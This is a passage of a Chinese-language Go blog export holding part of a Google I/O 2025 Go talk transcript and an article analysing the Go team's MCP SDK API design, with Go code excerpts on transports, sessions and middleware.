的一部分。它通过简化 Go 结构体的序列化，实现了 API 客户端和服务器的人性化开发。omitzero 选项的添加解决了一些在处理 Go 的零值（如空结构体和未初始化的 time.Time 对象）时常见的错误和令人意外的行为。这些新增功能让你能够更好地控制对象如何序列化为 JSON，并避免可能的错误和混淆来源。\n你是否需要更新你的 Go 运行时以利用新功能？从 1.23 版本开始，你可以使用 go get 来管理 Go 工具链，就像管理任何其他依赖项一样。Go 会根据需要下载更新的工具链，让你的团队可以使用最新的功能，而无需停下来手动更新工具链。这也适用于依赖项。如果你依赖了需要 1.24 版本的代码，Go 会更新你模块的 go 指令以要求 1.24 版本，并自动获取 1.24 运行时。Go 语言和 Go 工具不断寻找新的方法来帮助你保持代码库的可读性和现代化，并让你的团队保持专注和高效。\nMarc 刚刚向你介绍了让你更高效的一些新功能。但请记住，Go 关注的是生产力和生产就绪性。那么，让我们来谈谈 Go 1.23 和 1.24 中那些让你的应用程序更健壮、更安全、性能更高的最新功能。\n正如我之前所说，Go 的创始原则部分集中在其可移植性和对现代工作负载运行的现代环境的关注上。这些环境在不断发展。随着它们的发展，我们希望确保 Go 能够跟上步伐。我们做到这一点的一种方式是在 Go 1.24 中显著改进了 Go 对 WebAssembly 的支持。WebAssembly，或称 Wasm，是一种二进制指令格式和沙盒化运行时环境，它开启了许多新的有趣用例，尤其是在云端。包括 Go 在内的几种语言都能够编译 Wasm 模块，这些模块包含可在所有 Wasm 主机上运行的可移植的、与体系结构无关的字节码。同一个 Wasm 主机应用程序可以调用来自多个不同 Wasm 模块的方法，这些模块可以根据需要用一种语言或多种语言混合编写。这些 Wasm 模块是可热加载的，并在内存安全的沙盒化运行时中运行，具有结构化的控制流和验证。任何系统调用都通过 Wasm 运行时进行路由，这提供了一个额外的安全层，有点像一个极其轻量级的容器。尽管存在这一层抽象，但 Wasm 应用程序效率极高，能够在主机上实现接近本机的性能。这使得它们特别适用于高性能、低延迟的用例，例如边缘计算。例如，你可以在 Google Cloud 服务扩展上运行你的 Wasm 代码，它在 200 多个国家的 200 多个边缘位置提供边缘计算。\nGo 在 Go 1.11 版本中通过 JS Wasm 移植首次引入了对 Wasm 的支持。Wasm 本身最初是为浏览器设计的。JS Wasm 移植通过允许你通过 JavaScript 主机定位网页，从而启用了此用例。Go 开发者利用这个功能制作了一些非常有趣的东西，尤其是游戏。甚至还有一些利用 JS Wasm 移植的 Go 开源游戏引擎。Go 开发者可以使用这些项目轻松开发在浏览器中运行的令人印象深刻的 2D 游戏。随着 Wasm 的发展，Go 也在发展。在 Go 1.21 中，我们引入了对 WebAssembly 系统接口（WASI）预览版 1 的支持。WASI 提供了一个 POSIX 风格的接口，用于与系统资源进行交互，例如文件系统、系统时钟、数据实用程序等等。在这个例子中，你可以看到一个简单的“Hello, world!”程序，我们通过开头的编译标志将其编译为 Wasm。然后我们可以使用众多免费开源的 Wasm 运行时和库之一来运行该程序。在这种情况下，我们使用的是 wazero，一个用 Go 实现的开源项目。从 Go 1.21 开始，Go 开发者可以将 Wasm 模块构建为可执行文件，在 Wasm 运行时中启动它，并运行至完成。\n这就引出了今天的内容。在 Go 1.24 中，我们通过两种主要方式扩展了 Go 的 Wasm 功能。首先，Go 1.24 允许你使用 go:wasmexport 编译器指令将 Go 函数导出到 Wasm 主机。当我们将这样的代码编译成 Wasm 模块时，我们可以在 Wasm 主机中导入它，Wasm 主机可以直接调用模块导出的函数。其次，Go 1.24 添加了对构建 WASI 反应器 (reactor) 的支持。当你使用此功能以 Reactor 模式构建 Wasm 模块时，即使模块执行完毕，它也可以保持初始化状态。这对于你希望无限期可用的长时间运行的插件或扩展非常有用。初始化一次，让它保持运行，它可以继续响应调用，包括通过维护状态。在这个例子中，我们使用 wazero 的库来创建一个 Wasm 主机，它将调用我们在上一个例子中导出的 add 函数。不过，这次我们将使用高亮显示的构建标志以反应器模式构建 Wasm 模块。现在，我们可以多次运行 add 函数而无需重新初始化它。\n接下来，我们来谈谈 Go 如何让你的应用程序更安全。Go 一直在安全特性和功能方面处于领先地位。在 Go 1.13 中，我们引入了模块代理和校验和数据库，它们缓存并记录 Go 生态系统中所有依赖项的哈希值，保护你免受中间人攻击和其他对依赖项的篡改。然后，在 Go 1.18 中，我们引入了内置的模糊测试 (fuzz testing)，这是第一个将原生模糊测试内置并集成到其标准工具链中的主流编程语言。你可以将模糊测试视为一种自动化测试形式，它智能地操纵程序的输入以找出错误，尤其是安全漏洞。2022 年，我们推出了 Go 的端到端漏洞管理系统，它可以在任何地方（从 IDE 到运行时）发现依赖项中的已知漏洞。通过分析从你的代码到依赖项的调用图，Go 的漏洞管理工具能够检测你是否实际调用了易受攻击的代码，从而消除了绝大多数的误报。\n基于我们对安全的关注，在 Go 1.24 中，我们引入了对后量子密码学的支持，所有这些都在幕后透明地实现。我们还改进了对 FIPS-140 的支持，这是一项美国政府合规制度，其中包括用于加密应用的已批准算法。你可以在不更改任何代码的情况下启用 FIPS 模式，既可以在运行时使用高亮显示的调试标志，也可以在构建时使用高亮显示的构建 flag。\n最后，我们继续专注于使 Go 更快、更高效。我们做到这一点的一个重要方式是引入了一个全新的内置 map 类型实现，它基于一种名为 Swiss Tables 的新哈希表设计。从 Go 1.24 开始，map 透明地使用新的 Swiss Table 实现。在微基准测试中，使用新实现的 map 操作比 Go 1.23 快了高达 60%，尤其是在处理大型 map 时。这一切都无缝集成在 Go 的内置 map 中。无需调整你的代码。只需升级即可。\n还有更多，包括 Go 1.23 和 1.24 中许多新的底层工具，用于提高效率。例如，在 Go 1.23 中，我们引入了 Unique Package，可以高效地对值进行去重和比较。在 Go 1.24 中，我们引入了 weak.Pointers，它允许你安全地指向一个对象而不会阻止它被垃圾回收，以及 AddCleanup 函数，这是一种更灵活、更高效且更不容易出错的终结机制。还有更多，包括改进的内存分配速度和整体速度提升。所有这些都延续了我们保持 Go 既高效又生产就绪的重点。\n接下来，让我们把话筒转回给 Marc，让他快速介绍一下 Go 在生成式 AI 中的最新应用。\n正如你刚才听到的，Go 拥有许多特性，使其成为构建生产系统的绝佳语言。像高效的网络库和集成的结构体标签这样的特性，使其非常适合构建分布式系统。这也是 Go 在云基础设施和服务中如此普遍的重要原因。同样的这些原因也使得 Go 成为当今构建 AI 基础设施和服务的绝佳选择。流行的生成式 AI 工具和库，如 Ollama、Local AI、LangChain Go、Genkit 等等，都是用 Go 编写的。就像之前的主要基础设施项目一样，这些工具和库利用 Go 的生产力和生产就绪性来创建高度可扩展且更可靠的关键任务服务，数百万来自不同语言生态系统的开发者依赖这些服务来支持其 AI 驱动的工作负载。\n事实上，云和 AI 系统之间的共同点比你想象的要多。由于 LLM 通常需要专用的、专门的计算资源，因此它们通常作为通过 API 调用的网络服务运行。让我们以 Go 博客最近一篇文章中概述的检索增强生成 (RAG) 系统为例。我们的 RAG 系统使用向量数据库来存储相关文档，以便在回答用户问题时提供给我们的 LLM。向量数据库依赖于专门的嵌入模型，因此我们可以高效地查询与用户问题相似的文档。我们将研究三种不同的框架，用于将这些服务连接在一起。\n对于我们的第一个例子，我们将直接使用 Gemini 和 Weaviate 客户端库。这段代码来自用户查询处理程序。我们正在使用 Weaviate 的 GraphQL 接口来获取文档。查询本身有点长，所以我们使用了一个辅助函数。这种方法的一个缺点是，如果我们更改向量数据库，就必须重写辅助函数。\n在这里，我们使用的是 LangChain Go，它为我们的 LLM 和向量数据库提供了接口抽象。如果我们替换这些组件，相似性搜索和从单个提示生成调用的代码将无需更改。\n最后，我们来看看 Firebase Genkit for Go，目前处于测试阶段。它提供了与 LangChain Go 类似的抽象。Genkit 包含生产级功能，如提示管理和可观察性，这些功能可能在代码中不可见，但可以改善整体开发者体验。\n随着你的 AI 系统的发展，Go 对简单性的强调意味着即使代码规模和复杂性增加，你的代码仍然保持可读性。Go 的特性，如对象嵌入和接口，使得在需求和技术发生变化时可以无缝迁移——而它们总是会发生变化。Go 在跟上快速变化方面的成熟能力使其在一些最知名的云基础设施组件中取得了成功。推动 Go 在云领域普及的相同特性，也使其成为我们构建未来 AI 基础设施的绝佳选择。\n我希望我们已经在这个视频中证明了，Go 围绕生产力、开发者体验和生产就绪性的创始原则，仍然是我们今天优先考虑工作的依据。在结束之前，我想花几分钟时间让大家一窥 Go 1.25 及更高版本即将推出的内容。\n首先，在 Marc 关于 AI 的讨论基础上，我们对围绕 SIMD 所做的工作感到非常兴奋。SIMD 使现代 CPU 能够执行向量化数组操作，并行运行某些类型的循环。这些功能对于许多类型的性能优化至关重要，包括某些类型的 AI 基础设施所需的优化。\n在性能方面，我们在多核硬件方面有很多令人兴奋的机会，包括垃圾回收器和调度器的功能，这些功能可以更好地利用现代 CPU 架构中的非一致性内存访问。\n切换到语言本身，在我们持续推动提高生产力方面，我们还有很多需要完善的地方，特别是在泛型操作的灵活性方面。有关该工作的更多信息，请查看我们在 GitHub 上 Go 项目的讨论。\n在我们做所有这些以及更多事情的同时，你可以放心，我们现在和将来所做的任何更改都将继续履行 Go 的兼容性承诺。Go 仍然并将永远保持与 Go 1.0 的完全向后兼容。\n在我们结束时，我们想花点时间感谢 Go 社区。我们，Go 团队，致力于在未来很长一段时间内保持 Go 的生产力和生产就绪性。但我们知道我们并不孤单。今天，我们的生态系统比以往任何时候都更大、更健全。我们继续看到许多非常高质量的工具和库涌现，尤其是在围绕生成式 AI 的新用例方面。我们看到世界各地成千上万的 Gopher 聚会、参加 Go 会议，并在网上协作，所有这些都是因为他们热爱 Go。所以，感谢 Go 社区。正是因为你们的贡献，Go 才得以发展，并且比以往任何时候都更具相关性。我们非常自豪能与你们一起参与这段旅程。\n要开始使用，或获取有关本视频中讨论的任何内容的更多信息，请务必访问我们的主页 go.dev。感谢你参加今年的 Google I/O 大会。我们迫不及待地想看看你今年以及未来几年用 Go 构建的成果。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/05/25/go-at-googleio-2025/","summary":"\u003cp\u003eGoogle I/O 2025 Go 语言进展：生产力、生产就绪与 AI 赋能 - Tony Bai\u003c/p\u003e\n\u003cp\u003e===============\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"Google I/O 2025 Go 语言进展：生产力、生产就绪与 AI 赋能"},{"content":"\n本文永久链接 – https://tonybai.com/2025/05/23/go-api-design-mcp-sdk\n大家好，我是 Tony Bai。\n作为开发者，我们每天都在与 API 打交道——调用它们，设计它们，有时也会为糟糕的 API 设计而头痛不已。一个优秀的 API，如同一位技艺精湛的向导，能清晰、高效地引领我们通往复杂功能的彼岸；而一个蹩脚的 API，则可能像一座布满陷阱的迷宫，让我们步履维艰。\n那么，在 Go 语言的世界里，一个“好”的 API 应该是什么样子的？它应该如何体现 Go 语言简洁、高效、并发安全的哲学？它又如何在满足功能需求的同时，保持对开发者的友好和对未来的兼容？\n最近，Go 官方团队为 Model Context Protocol (MCP) 发起了一项 Go SDK 的设计讨论，并公开了其详细的设计草案以及一个初期的原型代码实现。这份设计稿与代码，在我看来，不仅仅是对 MCP 协议的 Go 语言实现规划，更是一份Go 官方团队关于 API 设计思考与实践的“公开课”。它向我们生动地展示了，在打造一个既强大又符合 Go 惯例 (Idiomatic Go) 的 SDK 时，需要在哪些维度进行权衡取舍，以及如何将 Go 的设计哲学融入到每一个细节之中。\n今天，就让我们一同走进这份设计稿和它的原型代码，探寻 Go 团队在 API 设计中所追求的“Go 境界”。\nAPI 设计的“初心”：Go 团队为 MCP SDK 设定的目标 在深入细节之前，我们先来看看 Go 团队为这个官方 MCP SDK 设定了哪些核心目标 (Requirements)。这些目标，本身就是设计任何高质量 Go SDK 的重要准则：\n完整性 (Complete): 能够实现 MCP 规范中的所有特性，并严格遵循其语义。这是 SDK 作为协议实现的基本要求。 符合 Go 惯例 (Idiomatic): 这是“Go 境界”的核心。SDK 应最大限度地利用 Go 语言自身的特性和标准库的设计风格，并重复 Go 生态中相似领域（如 net/http, grpc-go）已形成的习惯用法。 健壮性 (Robust): SDK 自身必须是经过良好测试、稳定可靠的，并且要能让使用者轻松地对他们基于 SDK 构建的应用进行测试。 面向未来 (Future-proof): 设计必须考虑到 MCP 规范未来可能的演进，尽可能地避免因规范变更而导致 SDK API 发生不兼容的破坏性改动。 可扩展性 (Extensible) 与最小化 (Minimal): 为了最好地服务于前述四个目标，SDK 的核心 API 应保持最小化、正交化。同时，它必须允许用户通过简单、清晰的方式（如接口、中间件、钩子等）进行扩展，以满足特定需求。 这些目标清晰地勾勒出了 Go 团队对一个“好”的 Go SDK 的期望：它不仅要功能完备，更要“写起来像 Go，用起来像 Go”，并且能经受住时间的考验。\n庖丁解牛：MCP Go SDK 设计中的“Go 味”与权衡 设定了清晰的 API 设计目标后，Go 团队便开始将这些原则付诸实践，着手设计 MCP Go SDK 的具体结构与接口。细细品读这份设计稿和其原型代码，我们能从多个关键的决策中，清晰地品味出浓浓的“Go 味”，并深刻体会到他们在功能完备性、语言惯例、当前易用性与未来演进性之间所做的精妙权衡。\n包布局 在 SDK 的整体结构上，Go 团队针对包的布局做出了一个显著的选择，这直接体现了他们对 Go 生态习惯的深刻理解和对开发者体验的优先考量。不同于其他语言的 MCP SDK 可能会将客户端、服务端、传输层等功能细致地拆分到各自独立的包中，Go 团队提议将 SDK 的核心用户接口集中在单个 mcp 包内。\n这种做法与 Go 标准库中的 net/http、net/rpc 以及社区广泛采纳的 google.golang.org/grpc 等核心包的组织方式保持了高度一致。对于 Go 开发者而言，这意味着更低的认知门槛——当他们需要使用 MCP 功能时，几乎所有的核心 API 都能在同一个 mcp 包下找到，这极大地提升了 API 的发现性。同时，集中的包结构也更利于生成聚合的包文档，并在 IDE 中提供更流畅的代码提示与导航体验。\n更深一层的考量，则是为了 SDK 的长期稳定性和面向未来的适应性。如果将功能过度拆分到多个细粒度的包中，未来 MCP 规范的任何微小调整，都可能引发连锁的包结构变动或复杂的跨包依赖问题。而单一核心包的设计，则能更好地吸收这些变化，减少对用户代码的冲击。当然，像 JSON Schema 这种与 MCP 核心逻辑不直接相关、但又可能被 SDK 用户需要的辅助功能，则被合理地规划到了独立的子包（如 jsonschema/）中，做到了关注点分离。虽然这种策略可能会让一些追求极致“模块化”的开发者觉得核心包略显“庞大”，但 Go 团队在此显然是权衡了用户发现性、文档清晰度以及长期演进的稳定性，将它们放在了更高的优先级。\nJSON-RPC 与传输层抽象 (Transports) MCP 协议的核心在于通过 JSON-RPC 在客户端和服务端之间交换消息，而其底层可以有多种传输方式，如 stdio、可流式 HTTP、SSE 等。如何为这些形态各异的传输方式设计一个统一且灵活的抽象层，是对 SDK 设计者的一大考验。Go 团队在这里再次展现了其对接口设计艺术的娴熟运用。\n在 transport.go 中，他们定义了一个非常底层的 Transport 接口：\n// A Transport is used to create a bidirectional connection between MCP client // and server. type Transport interface { Connect(ctx context.Context) (Stream, error) } 其核心职责仅在于通过 Connect 方法建立一个逻辑连接，并返回一个 Stream 接口实例。这个 Stream 接口则更为基础，借鉴了 golang.org/x/tools/internal/jsonrpc2_v2 的设计：\n// A Stream is a bidirectional jsonrpc2 Stream. type Stream interface { jsonrpc2.Reader jsonrpc2.Writer io.Closer } 它组合了读、写和关闭能力。这种设计充满了“Go 味”：接口被设计得小巧而精炼，只暴露了最根本的抽象，完美体现了 Go “定义小接口，实现大价值”的理念。\n具体来看，Stream 接口因为内嵌了 io.Closer，使其自然地遵循了标准库的惯例，这使得它可以无缝集成到 Go 的资源管理模式中。更重要的是，Connect 方法的签名严格遵循了 (ctx context.Context, …params) (…results, error) 的形式。context.Context 作为第一个参数，用于优雅地处理操作的超时和取消；而 error 作为最后一个返回值，则用于明确、一致地传递错误信息。这些都是 Go I/O 和网络编程中雷打不动的标准模式。这种底层接口的简洁性不仅巧妙地隐藏了内部 JSON-RPC 实现的复杂细节（如 mcp/internal/jsonrpc2_v2 的使用），也为用户实现自定义的传输方式（如设计稿中提到的 InMemoryTransport 或 LoggingTransport）提供了极大的便利。\n例如，NewCommandTransport 用于创建通过子进程 stdio 通信的客户端传输：\n// NewCommandTransport returns a [CommandTransport] that runs the given command // and communicates with it over stdin/stdout. func NewCommandTransport(cmd *exec.Cmd) *CommandTransport { /* ... */ } 得到的CommandTransport的Connect 方法会启动命令并连接到其 stdin/stdout。这种清晰的职责划分和对 Go 标准模式的遵循，使得整个传输层易于理解和扩展。\n客户端与服务端 API (Clients \u0026amp; Servers) 在客户端和服务端核心对象的 API 设计上，Go 团队同样融入了对 Go 并发模型的深刻理解。设计稿清晰地区分了 Client/Server 实例与 ClientSession/ServerSession 的概念，这在 client.go 和 server.go 中得到了体现。一个 Client 或 Server 实例可以处理多个并发的连接，即对应多个会话。这与我们熟悉的标准库 http.Client 可以发起多个 HTTP 请求，而 http.Server 可以同时为多个客户端提供服务的模式如出一辙。\n// In client.go type Client struct { // ... mu sync.Mutex sessions []*ClientSession // ... } func NewClient(name, version string, opts *ClientOptions) *Client { /* ... */ } func (c *Client) Connect(ctx context.Context, t Transport) (*ClientSession, error) { /* ... */ } // In server.go type Server struct { // ... mu sync.Mutex sessions []*ServerSession // ... } func NewServer(name, version string, opts *ServerOptions) *Server { /* ... */ } func (s *Server) Connect(ctx context.Context, t Transport) (*ServerSession, error) { /* ... */ } 这种 N:1（多个会话对应一个 Client/Server 实例）的设计，天然地利用并体现了 Go 语言强大的并发处理能力，通过 sync.Mutex 保护共享状态。考虑到 Client 和 Server 本身都是有状态的（例如，Client 可以动态添加或移除其追踪的根资源，Server 则可以动态添加或移除其提供的工具），当这些核心实例的状态发生变化时，设计确保了所有与其连接的对等方（即各个会话）都会收到相应的通知，从而维持了状态的一致性。\n在配置方式上，Go 团队为 Client 和 Server 的创建选择了使用独立的 ClientOptions 和 ServerOptions 结构体，如：\n// In client.go type ClientOptions struct { CreateMessageHandler func(context.Context, *ClientSession, *CreateMessageParams) (*CreateMessageResult, error) ToolListChangedHandler func(context.Context, *ClientSession, *ToolListChangedParams) // ... other handlers } // In server.go type ServerOptions struct { Instructions string InitializedHandler func(context.Context, *ServerSession, *InitializedParams) // ... other handlers and fields like PageSize, LoggerName, LogInterval } 而不是像社区中某些库（包括设计稿中对比的 mcp-go）那样采用可变参数选项 (variadic options) 的模式。他们认为，对于配置项较多或逻辑较复杂的情况，显式的结构体选项在可读性上更胜一筹，也使得包的公开文档更容易组织和理解。这是一个在 API 的简洁性（可变参数有时更短）与明确性和长期可维护性之间做出的典型且值得借鉴的权衡。\nProtocol Types 与 JSON Schema MCP 协议的消息体是基于 JSON Schema 定义的。Go SDK 需要将这些 schema 映射为 Go 的结构体。设计稿中提到协议类型是从 MCP 规范的 JSON schema 生成的，并且在 mcp 包内，除非 API 用户需要，否则这些类型是未导出的。\n以 content.go 中的 Content 类型为例：\n// Content is the wire format for content. // It represents the protocol types TextContent, ImageContent, AudioContent // and EmbeddedResource. type Content struct { Type string json:\u0026#34;type\u0026#34; Text string json:\u0026#34;text,omitempty\u0026#34; MIMEType string json:\u0026#34;mimeType,omitempty\u0026#34; Data []byte json:\u0026#34;data,omitempty\u0026#34; Resource *ResourceContents json:\u0026#34;resource,omitempty\u0026#34; Annotations *Annotations json:\u0026#34;annotations,omitempty\u0026#34; } func (c *Content) UnmarshalJSON(data []byte) error { // ... custom unmarshaling logic to validate Type field ... } func NewTextContent(text string) *Content { return \u0026amp;Content{Type: \u0026#34;text\u0026#34;, Text: text} } // ... other constructors like NewImageContent, NewAudioContent ... 这里有几个值得注意的“Go 味”设计：\n清晰的结构体定义： 直接映射 JSON 结构，使用 json struct tag 控制序列化行为。\n构造函数： 提供 NewXXXContent 这样的辅助函数来创建特定类型的 Content 实例，确保 Type 字段被正确设置，提升了易用性和安全性。\n自定义 JSON 处理： Content 类型实现了 UnmarshalJSON 方法，用于在反序列化时对 Type 字段进行校验，确保其为协议定义的合法类型。对于 ResourceContents，它甚至实现了 MarshalJSON 来处理 Blob 字段 nil 与空切片的细微差别（为了兼容 Go 1.24 之前的 omitzero 行为）。这种在必要时介入编解码过程以保证数据正确性的做法，是 Go 类型系统能力的体现。\njson.RawMessage 的使用： 设计稿提到，对于用户提供的数据，SDK 会使用 json.RawMessage，这样可以将Marshal/Unmarshal的责任委托给客户端或服务器的业务逻辑。这是一种延迟解析的策略，可以提高性能，也增加了灵活性。\n此外，jsonschema/ 子包提供了完整的 JSON Schema 实现，包括从 Go 类型推断 Schema (infer.go) 和校验 (validate.go)。jsonschema/generate.go (在构建时忽略) 则展示了如何从远程的 MCP JSON Schema URL 生成 protocol.go 中的 Go 类型定义，这体现了代码生成的工程实践。\nRPC 方法签名 对于 MCP 规范中定义的具体 RPC 方法，Go 团队在 SDK 中的签名设计上，将一致性和对向后兼容的执着追求体现得淋漓尽致。所有这些方法都严格遵循 func (s SessionType) MethodName(ctx context.Context, params *XXXParams) ( XXXResult, error) 的模式。例如，在 client.go 中：\n// ListPrompts lists prompts that are currently available on the server. func (c *ClientSession) ListPrompts(ctx context.Context, params *ListPromptsParams) (*ListPromptsResult, error) { return standardCall[ListPromptsResult](ctx, c.conn, methodListPrompts, params) } 这里，context.Context 作为第一个参数，error 作为最后一个返回值，而参数 (ListPromptsParams) 和结果 ( ListPromptsResult) 均使用指针类型——这些都是 Go API 设计的“黄金法则”，确保了接口风格的统一和与 Go 生态的无缝对接。\n唯一的例外是 ClientSession.CallTool 方法：\n// CallTool calls the tool with the given name and arguments. // Pass a [CallToolOptions] to provide additional request fields. func (c *ClientSession) CallTool(ctx context.Context, name string, args map[string]any, opts *CallToolOptions) (*CallToolResult, error) { /* ... */ } 为了提升用户直接调用工具时的便捷性，它接受工具的名称字符串和 map[string]any{} 类型的具体参数，以及一个可选的 *CallToolOptions，而不是要求用户预先封装一个 CallToolParams 结构体。这是一种在严格遵循模式与提升特定场景易用性之间做出的实用性调整。\n设计稿中一个特别值得称道的细节，是对向后兼容性的深思熟虑。团队明确指出：“我们认为，任何需要调用者传递新参数的规范更改都是不向后兼容的。因此，对于当前非必需的任何 XXXParams 参数，始终可以传递 nil。”这意味着，即使未来 MCP 规范为某个方法增加了新的可选参数（这些参数会被加入到对应的 XXXParams 结构体中），现有的、传递 nil 作为参数的调用代码也无需修改，依然能够正常工作。这种对 API 演进的未雨绸缪，充分体现了 Go 团队对兼容性承诺的高度重视和丰富经验。至于为何不直接暴露完整的 JSON-RPC 请求对象，团队的考量是尽可能隐藏与业务逻辑无关的底层协议细节（如请求 ID），方法名由 Go 方法本身即可隐含，无需在参数中冗余体现，保持了 API 的纯粹性。\n错误处理 (Errors) 与取消 (Cancellation) 在错误处理和操作取消这两个关键机制上，SDK 的设计力求透明化，并与 Go 语言的核心理念保持高度一致。除了工具处理程序自身的业务逻辑错误外，所有协议级别的错误都会被透明地处理为标准的 Go error 类型。例如，服务器端特性处理程序中发生的错误，会作为错误从 ClientSession 的相应调用中传播出来，反之亦然，使得错误处理路径清晰统一。\n为了帮助上层代码更精确地理解错误的具体性质，设计稿提到协议层面的错误会包装一个 JSONRPCError 类型（其定义在 protocol.go 中自动生成），该类型能够暴露底层的 JSON-RPC 错误码，便于进行针对性的处理。\n// (Generated in protocol.go, but conceptually similar to design doc) type JSONRPCError struct { Code int64 json:\u0026#34;code\u0026#34; Message string json:\u0026#34;message\u0026#34; Data json.RawMessage json:\u0026#34;data,omitempty\u0026#34; } 而对于操作的取消，则完全依赖并无缝集成了 Go 标准的 context.Context 机制。在 transport.go 的 call 函数中，可以看到这样的逻辑：\n// ... (inside call function) case ctx.Err() != nil: // Notify the peer of cancellation. err := conn.Notify(xcontext.Detach(ctx), \u0026#34;notifications/cancelled\u0026#34;, \u0026amp;CancelledParams{ Reason: ctx.Err().Error(), RequestID: call.ID().Raw(), }) return errors.Join(ctx.Err(), err) // ... 当客户端代码取消一个传递给 SDK 方法的 context 时，SDK 会负责向服务器发送一个 “notifications/cancelled” 通知，同时客户端的该方法调用会立即返回 ctx.Err()。相应地，服务器端在处理该请求时，其持有的 context 会被取消，从而可以进行适当的清理或中止操作。这种设计让熟悉 Go 并发编程的开发者在处理取消逻辑时倍感亲切和自然，无需学习新的机制。\n可扩展性：中间件模式的青睐 为了满足用户对 SDK 功能进行定制和扩展的需求，同时保持核心 API 的简洁性，Go 团队在可扩展性机制的设计上也体现了其偏好。在服务端（server.go）和客户端（client.go），都提供了 AddMiddleware 方法：\n// In shared.go (conceptual definition) type MethodHandler[S ClientSession | ServerSession] func( ctx context.Context, _ *S, method string, params any) (result any, err error) type Middleware[S ClientSession | ServerSession] func(MethodHandler[S]) MethodHandler[S] // In server.go func (s *Server) AddMiddleware(middleware ...Middleware[ServerSession]) { /* ... */ } // In client.go func (c *Client) AddMiddleware(middleware ...Middleware[ClientSession]) { /* ... */ } 这些方法允许用户注册一个或多个遵循特定签名的 Middleware 函数。这些函数本质上构成了 MCP 协议级别的中间件 (middleware) 链，它们会在服务器/客户端收到请求、请求被解析之后，但在进入正常的业务处理逻辑之前依次执行（从右到左应用，即第一个中间件最先执行）。mcp_test.go 中的 traceCalls 就是一个很好的示例，它展示了如何用中间件来记录请求和响应。\n这种设计与 Go Web 开发（如 net/http 的 HandlerFunc 链）以及许多其他 Go 生态库中广泛采用的中间件模式一脉相承。它提供了一种强大且灵活的方式来注入横切关注点，如日志记录、认证、请求修改等。相比之下，社区的 mcp-go 实现（如设计稿中提到的）定义了多达 24 个具体的 Server Hooks，每个 Hook 对应一个特定的事件点。Go 团队的选择显然更倾向于通过一种更为通用和模式化的方式来满足扩展需求，从而避免了在核心 Server/Session 类型上暴露过多的、细粒度的钩子方法，保持了其接口的最小化和正交性。而对于像 HTTP 级别的身份验证这类与 MCP 协议本身不直接相关的横切关注点，设计稿则推荐使用标准的 HTTP 中间件模式来处理，进一步体现了关注点分离和利用现有生态成熟方案的设计思想。\n通过对这些设计细节的“庖丁解牛”，我们不难发现，Go 团队在打造这个 MCP SDK 的过程中，无时无刻不在思考如何将 Go 语言的设计哲学、惯用模式以及对工程实践的深刻理解融入其中，力求在满足协议规范的完整性的同时，为 Go 开发者提供一个简洁、健壮、易用且面向未来的编程接口。\nAPI 设计的“Go 境界”：我们能学到什么？ Go 团队对 MCP SDK 的设计过程，如同一面镜子，映照出 API 设计的诸多考量和 Go 语言的独特气质。从中，我们可以提炼出一些宝贵的启示：\n“Go 味”始于目标： 完整性、符合惯例、健壮性、面向未来、可扩展与最小化——这些目标共同构成了设计优秀 Go API 的基石。 标准库是最好的老师： 学习并模仿 net/http, io, context 等核心库的设计模式和 API 风格，是通往“Idiomatic Go”的捷径。 接口的力量： 用小而美的接口来抽象行为、解耦组件，是 Go 设计哲学的精髓。 context 与 error 的“一等公民”地位： 在任何涉及 I/O、并发或可能失败的操作中，将它们融入 API 设计是标准做法。 向后兼容性是生命线： API 一旦发布，就需要慎重对待变更。在设计之初就考虑未来的演进，预留扩展点，比事后打补丁要优雅得多。 权衡的艺术： API 设计充满了权衡——简洁性与表达力、灵活性与易用性、当前需求与未来可能……没有绝对的“正确”，只有在特定上下文下的“更优”。Go 团队在包布局、配置方式等方面的选择，都体现了这种权衡。 小结 API 设计没有银弹，更像是一门手艺，需要在不断的实践、反思和学习中精进。Go 团队为 MCP SDK 所做的这些思考和设计决策，为我们提供了一个宝贵的学习范例，展示了如何在 Go 的世界里，打造出既满足复杂需求，又不失简洁与优雅的 API。\n这种对“Go 境界”的追求——即代码不仅能工作，而且写得像 Go、用得像 Go，感觉像 Go——正是 Go 语言强大生命力和独特魅力的源泉。\n希望这篇文章能为你未来的 API 设计带来一些启发。也欢迎你在评论区分享你对 API 设计的理解，或者你认为一个“好的 